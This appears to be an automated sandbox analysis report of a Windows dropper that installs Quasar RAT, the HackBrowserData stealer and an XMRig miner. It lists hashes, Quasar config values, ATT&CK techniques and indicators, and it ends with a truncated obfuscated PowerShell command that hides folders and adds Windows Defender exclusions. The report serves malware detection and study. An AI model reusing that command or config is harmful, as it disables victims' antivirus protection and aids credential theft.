hackbrowserdata | 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce

geolocation tags

cacanadananorth-americatoronto
max time kernel
148s
max time network
153s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
21/05/2026, 18:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
4363463463464363463463463.exe
Size 10KB
Sample260521-wt38csgz71
SHA256 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
MD5 2a94f3960c58c6e70826495f76d00b85
SHA1 e2a1a5641295f5ebf01a37ac1c170ac0814bb71a
SHA512 fbf55b55fcfb12eb8c029562956229208b9e8e2591859d6336c28a590c92a4d0f7033a77c46ef6ebe07ddfca353aba1e84b51907cd774beab148ee901c92d62f
SSDEEP 192:xlwayyHOXGc20L7BIW12n/ePSjiTlzkGu8stYcFwVc03KY:xlwwHe/20PKn/cLTlHuptYcFwVc03K
TLSH
T1DF22180166D0C2B2C5B303B96C279642C776EA1B3A174F7D748C825BBF6225D43A32B1
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access defense_evasion discovery execution hackbrowserdata quasar xmrig infostealer miner persistence spyware stealer trojan

Malware Config

Extracted

Family

quasar

Attributes

encryption_key
DAB3121B6A50A539543675F89440074F0318A96D
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
reconnect_delay
3000

Signatures

Family: HackBrowserData
An open source golang web browser extractor.
infostealer hackbrowserdata
Family: Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

An open source browser data exporter written in golang. 1 IoCs

resource	yara_rule
behavioral4/files/0x001a00000002b501-149.dat	family_hackbrowserdata

Quasar payload 2 IoCs

resource	yara_rule
behavioral4/files/0x001f00000002b510-384.dat	family_quasar
behavioral4/memory/3432-391-0x00000202952A0000-0x0000020295394000-memory.dmp	family_quasar

XMRig Miner payload 16 IoCs

miner

resource	yara_rule
behavioral4/memory/780-313-0x0000000140000000-0x000000014082E000-memory.dmp	xmrig
behavioral4/memory/780-309-0x0000000140000000-0x000000014082E000-memory.dmp	xmrig
behavioral4/memory/780-308-0x0000000140000000-0x000000014082E000-memory.dmp	xmrig
behavioral4/memory/780-314-0x0000000140000000-0x000000014082E000-memory.dmp	xmrig
behavioral4/memory/780-312-0x0000000140000000-0x000000014082E000-memory.dmp	xmrig
behavioral4/memory/780-311-0x0000000140000000-0x000000014082E000-memory.dmp	xmrig
behavioral4/memory/780-310-0x0000000140000000-0x000000014082E000-memory.dmp	xmrig
behavioral4/memory/780-307-0x0000000140000000-0x000000014082E000-memory.dmp	xmrig
behavioral4/memory/780-320-0x0000000140000000-0x000000014082E000-memory.dmp	xmrig
behavioral4/memory/780-317-0x0000000140000000-0x000000014082E000-memory.dmp	xmrig
behavioral4/memory/780-323-0x0000000140000000-0x000000014082E000-memory.dmp	xmrig
behavioral4/memory/780-321-0x0000000140000000-0x000000014082E000-memory.dmp	xmrig
behavioral4/memory/780-319-0x0000000140000000-0x000000014082E000-memory.dmp	xmrig
behavioral4/memory/780-322-0x0000000140000000-0x000000014082E000-memory.dmp	xmrig
behavioral4/memory/780-332-0x0000000140000000-0x000000014082E000-memory.dmp	xmrig
behavioral4/memory/780-333-0x0000000140000000-0x000000014082E000-memory.dmp	xmrig

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
36	2044	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
444	powershell.exe
2044	powershell.exe

Downloads MZ/PE file 9 IoCs

flow	pid	Process
21	5076	4363463463464363463463463.exe
45	5076	4363463463464363463463463.exe
46	5076	4363463463464363463463463.exe
52	5076	4363463463464363463463463.exe
4	5076	4363463463464363463463463.exe
4	5076	4363463463464363463463463.exe
47	5076	4363463463464363463463463.exe
18	5076	4363463463464363463463463.exe
20	5076	4363463463464363463463463.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AutoHotkey_1.1.33.vbs	AutoHotkeyU64.exe

Executes dropped EXE 16 IoCs

pid	Process
4620	CFXBypass.exe
3988	background.exe
3976	live-013-0512.exe
4636	AutoHotkeyU64.exe
3844	opyhjdase.exe
4956	xmr.exe
2432	x64-setup.exe
1568	access.exe
4600	syswinprdrvc.exe
4172	svchost.exe
3432	123.exe
4832	HelpWin.exe
908	Round_Setup.exe
3292	setup.exe
2864	DiscordSpotifyBypass.exe
3084	DiscordSpotifyBypass.exe

Loads dropped DLL 2 IoCs

pid	Process
3084	DiscordSpotifyBypass.exe
3084	DiscordSpotifyBypass.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
7	pastebin.com
47	raw.githubusercontent.com
1	raw.githubusercontent.com
1	pastebin.com
4	raw.githubusercontent.com

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Suspicious use of NtSetInformationThreadHideFromDebugger 20 IoCs

pid	Process
3432	123.exe
3432	123.exe
3432	123.exe
3432	123.exe
3432	123.exe
3432	123.exe
3432	123.exe
3432	123.exe
3432	123.exe
3432	123.exe
4832	HelpWin.exe
4832	HelpWin.exe
4832	HelpWin.exe
4832	HelpWin.exe
4832	HelpWin.exe
4832	HelpWin.exe
4832	HelpWin.exe
4832	HelpWin.exe
4832	HelpWin.exe
4832	HelpWin.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4600 set thread context of 780	4600	syswinprdrvc.exe	140

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3564	sc.exe
4240	sc.exe
3852	sc.exe
1028	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	access.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4100	cmd.exe
4920	PING.EXE

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	background.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	background.exe

Kills process with taskkill 15 IoCs

defense_evasion

pid	Process
1008	taskkill.exe
2852	taskkill.exe
3740	taskkill.exe
3244	taskkill.exe
2376	taskkill.exe
3636	taskkill.exe
4764	taskkill.exe
4344	taskkill.exe
2464	taskkill.exe
4132	taskkill.exe
1284	taskkill.exe
3588	taskkill.exe
1736	taskkill.exe
1664	taskkill.exe
4980	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	CFXBypass.exe

Modifies system certificate store 2 TTPs 3 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	CFXBypass.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	CFXBypass.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	CFXBypass.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4920	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2012	schtasks.exe
1984	schtasks.exe
2400	schtasks.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	19	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 36 IoCs

pid	Process
4620	CFXBypass.exe
3988	background.exe
3988	background.exe
4908	msedge.exe
4908	msedge.exe
2388	chrome.exe
2388	chrome.exe
444	powershell.exe
444	powershell.exe
3988	background.exe
3988	background.exe
3988	background.exe
2432	x64-setup.exe
2432	x64-setup.exe
2432	x64-setup.exe
4956	xmr.exe
4956	xmr.exe
4956	xmr.exe
4956	xmr.exe
4600	syswinprdrvc.exe
2064	msedge.exe
2064	msedge.exe
2400	chrome.exe
2400	chrome.exe
2044	powershell.exe
2044	powershell.exe
1136	chrome.exe
1136	chrome.exe
2892	msedge.exe
2892	msedge.exe
3432	123.exe
3432	123.exe
4832	HelpWin.exe
4832	HelpWin.exe
908	Round_Setup.exe
908	Round_Setup.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5076	4363463463464363463463463.exe
Token: SeDebugPrivilege	4620	CFXBypass.exe
Token: SeIncreaseQuotaPrivilege	4620	CFXBypass.exe
Token: SeSecurityPrivilege	4620	CFXBypass.exe
Token: SeTakeOwnershipPrivilege	4620	CFXBypass.exe
Token: SeLoadDriverPrivilege	4620	CFXBypass.exe
Token: SeSystemProfilePrivilege	4620	CFXBypass.exe
Token: SeSystemtimePrivilege	4620	CFXBypass.exe
Token: SeProfSingleProcessPrivilege	4620	CFXBypass.exe
Token: SeIncBasePriorityPrivilege	4620	CFXBypass.exe
Token: SeCreatePagefilePrivilege	4620	CFXBypass.exe
Token: SeBackupPrivilege	4620	CFXBypass.exe
Token: SeRestorePrivilege	4620	CFXBypass.exe
Token: SeShutdownPrivilege	4620	CFXBypass.exe
Token: SeDebugPrivilege	4620	CFXBypass.exe
Token: SeSystemEnvironmentPrivilege	4620	CFXBypass.exe
Token: SeRemoteShutdownPrivilege	4620	CFXBypass.exe
Token: SeUndockPrivilege	4620	CFXBypass.exe
Token: SeManageVolumePrivilege	4620	CFXBypass.exe
Token: 33	4620	CFXBypass.exe
Token: 34	4620	CFXBypass.exe
Token: 35	4620	CFXBypass.exe
Token: 36	4620	CFXBypass.exe
Token: SeIncreaseQuotaPrivilege	4620	CFXBypass.exe
Token: SeSecurityPrivilege	4620	CFXBypass.exe
Token: SeTakeOwnershipPrivilege	4620	CFXBypass.exe
Token: SeLoadDriverPrivilege	4620	CFXBypass.exe
Token: SeSystemProfilePrivilege	4620	CFXBypass.exe
Token: SeSystemtimePrivilege	4620	CFXBypass.exe
Token: SeProfSingleProcessPrivilege	4620	CFXBypass.exe
Token: SeIncBasePriorityPrivilege	4620	CFXBypass.exe
Token: SeCreatePagefilePrivilege	4620	CFXBypass.exe
Token: SeBackupPrivilege	4620	CFXBypass.exe
Token: SeRestorePrivilege	4620	CFXBypass.exe
Token: SeShutdownPrivilege	4620	CFXBypass.exe
Token: SeDebugPrivilege	4620	CFXBypass.exe
Token: SeSystemEnvironmentPrivilege	4620	CFXBypass.exe
Token: SeRemoteShutdownPrivilege	4620	CFXBypass.exe
Token: SeUndockPrivilege	4620	CFXBypass.exe
Token: SeManageVolumePrivilege	4620	CFXBypass.exe
Token: 33	4620	CFXBypass.exe
Token: 34	4620	CFXBypass.exe
Token: 35	4620	CFXBypass.exe
Token: 36	4620	CFXBypass.exe
Token: SeIncreaseQuotaPrivilege	4620	CFXBypass.exe
Token: SeSecurityPrivilege	4620	CFXBypass.exe
Token: SeTakeOwnershipPrivilege	4620	CFXBypass.exe
Token: SeLoadDriverPrivilege	4620	CFXBypass.exe
Token: SeSystemProfilePrivilege	4620	CFXBypass.exe
Token: SeSystemtimePrivilege	4620	CFXBypass.exe
Token: SeProfSingleProcessPrivilege	4620	CFXBypass.exe
Token: SeIncBasePriorityPrivilege	4620	CFXBypass.exe
Token: SeCreatePagefilePrivilege	4620	CFXBypass.exe
Token: SeBackupPrivilege	4620	CFXBypass.exe
Token: SeRestorePrivilege	4620	CFXBypass.exe
Token: SeShutdownPrivilege	4620	CFXBypass.exe
Token: SeDebugPrivilege	4620	CFXBypass.exe
Token: SeSystemEnvironmentPrivilege	4620	CFXBypass.exe
Token: SeRemoteShutdownPrivilege	4620	CFXBypass.exe
Token: SeUndockPrivilege	4620	CFXBypass.exe
Token: SeManageVolumePrivilege	4620	CFXBypass.exe
Token: 33	4620	CFXBypass.exe
Token: 34	4620	CFXBypass.exe
Token: 35	4620	CFXBypass.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5076 wrote to memory of 4620	5076	4363463463464363463463463.exe	82
PID 4620 wrote to memory of 3988	4620	CFXBypass.exe	83
PID 3988 wrote to memory of 1376	3988	background.exe	85
PID 3988 wrote to memory of 1376	3988	background.exe	85
PID 3988 wrote to memory of 4908	3988	background.exe	86
PID 3988 wrote to memory of 4908	3988	background.exe	86
PID 3988 wrote to memory of 2388	3988	background.exe	87
PID 3988 wrote to memory of 2388	3988	background.exe	87
PID 1376 wrote to memory of 444	1376	firefox.exe	90
PID 444 wrote to memory of 4916	444	powershell.exe	92
PID 444 wrote to memory of 1428	444	powershell.exe	93
PID 444 wrote to memory of 1672	444	powershell.exe	94
PID 444 wrote to memory of 2916	444	powershell.exe	95
PID 444 wrote to memory of 4760	444	powershell.exe	96
PID 444 wrote to memory of 2136	444	powershell.exe	97
PID 5076 wrote to memory of 3976	5076	4363463463464363463463463.exe	99
PID 3976 wrote to memory of 2488	3976	live-013-0512.exe	100
PID 2488 wrote to memory of 4108	2488	cmd.exe	102
PID 3976 wrote to memory of 5048	3976	live-013-0512.exe	103
PID 3976 wrote to memory of 3860	3976	live-013-0512.exe	105
PID 3976 wrote to memory of 4100	3976	live-013-0512.exe	107
PID 3860 wrote to memory of 4636	3860	cmd.exe	109
PID 4100 wrote to memory of 4920	4100	cmd.exe	110
PID 5076 wrote to memory of 3844	5076	4363463463464363463463463.exe	111
PID 3844 wrote to memory of 2376	3844	opyhjdase.exe	113
PID 3844 wrote to memory of 1008	3844	opyhjdase.exe	114
PID 3844 wrote to memory of 1736	3844	opyhjdase.exe	115
PID 3844 wrote to memory of 3636	3844	opyhjdase.exe	116
PID 3844 wrote to memory of 1664	3844	opyhjdase.exe	117
PID 3844 wrote to memory of 4980	3844	opyhjdase.exe	118
PID 3844 wrote to memory of 1284	3844	opyhjdase.exe	119
PID 3844 wrote to memory of 4764	3844	opyhjdase.exe	120
PID 3844 wrote to memory of 4344	3844	opyhjdase.exe	121
PID 3844 wrote to memory of 2464	3844	opyhjdase.exe	122
PID 3844 wrote to memory of 3740	3844	opyhjdase.exe	123
PID 3844 wrote to memory of 3244	3844	opyhjdase.exe	124
PID 3844 wrote to memory of 2852	3844	opyhjdase.exe	125
PID 3844 wrote to memory of 3588	3844	opyhjdase.exe	126
PID 3844 wrote to memory of 4132	3844	opyhjdase.exe	127
PID 5076 wrote to memory of 4956	5076	4363463463464363463463463.exe	128
PID 5076 wrote to memory of 2432	5076	4363463463464363463463463.exe	129
PID 5076 wrote to memory of 1568	5076	4363463463464363463463463.exe	130
PID 4600 wrote to memory of 780	4600	syswinprdrvc.exe	140
PID 4600 wrote to memory of 780	4600	syswinprdrvc.exe	140
PID 4600 wrote to memory of 780	4600	syswinprdrvc.exe	140
PID 4600 wrote to memory of 780	4600	syswinprdrvc.exe	140
PID 4600 wrote to memory of 780	4600	syswinprdrvc.exe	140
PID 4600 wrote to memory of 780	4600	syswinprdrvc.exe	140
PID 4600 wrote to memory of 780	4600	syswinprdrvc.exe	140
PID 4600 wrote to memory of 780	4600	syswinprdrvc.exe	140
PID 4600 wrote to memory of 780	4600	syswinprdrvc.exe	140
PID 4600 wrote to memory of 780	4600	syswinprdrvc.exe	140
PID 4600 wrote to memory of 780	4600	syswinprdrvc.exe	140
PID 4600 wrote to memory of 780	4600	syswinprdrvc.exe	140
PID 3988 wrote to memory of 2064	3988	background.exe	141
PID 3988 wrote to memory of 2064	3988	background.exe	141
PID 3988 wrote to memory of 4512	3988	background.exe	142
PID 3988 wrote to memory of 4512	3988	background.exe	142
PID 3988 wrote to memory of 2400	3988	background.exe	143
PID 3988 wrote to memory of 2400	3988	background.exe	143
PID 2064 wrote to memory of 2044	2064	msedge.exe	146
PID 2044 wrote to memory of 1104	2044	powershell.exe	148
PID 2044 wrote to memory of 3892	2044	powershell.exe	149
PID 2044 wrote to memory of 1452	2044	powershell.exe	150

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 4 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4916	attrib.exe
1428	attrib.exe
3892	attrib.exe
1104	attrib.exe

C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe
"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"
1⤵
- Downloads MZ/PE file
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5076
- C:\Users\Admin\AppData\Local\Temp\Files\CFXBypass.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\CFXBypass.exe"
  2⤵
  - Executes dropped EXE
  - Modifies registry class
  - Modifies system certificate store
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4620
- - C:\Users\Admin\AppData\Local\68ee7156-7068-46de-9562-9ba32db3adfc\background.exe
    "C:\Users\Admin\AppData\Local\68ee7156-7068-46de-9562-9ba32db3adfc\background.exe"
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3988
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --incognito
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1376
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgA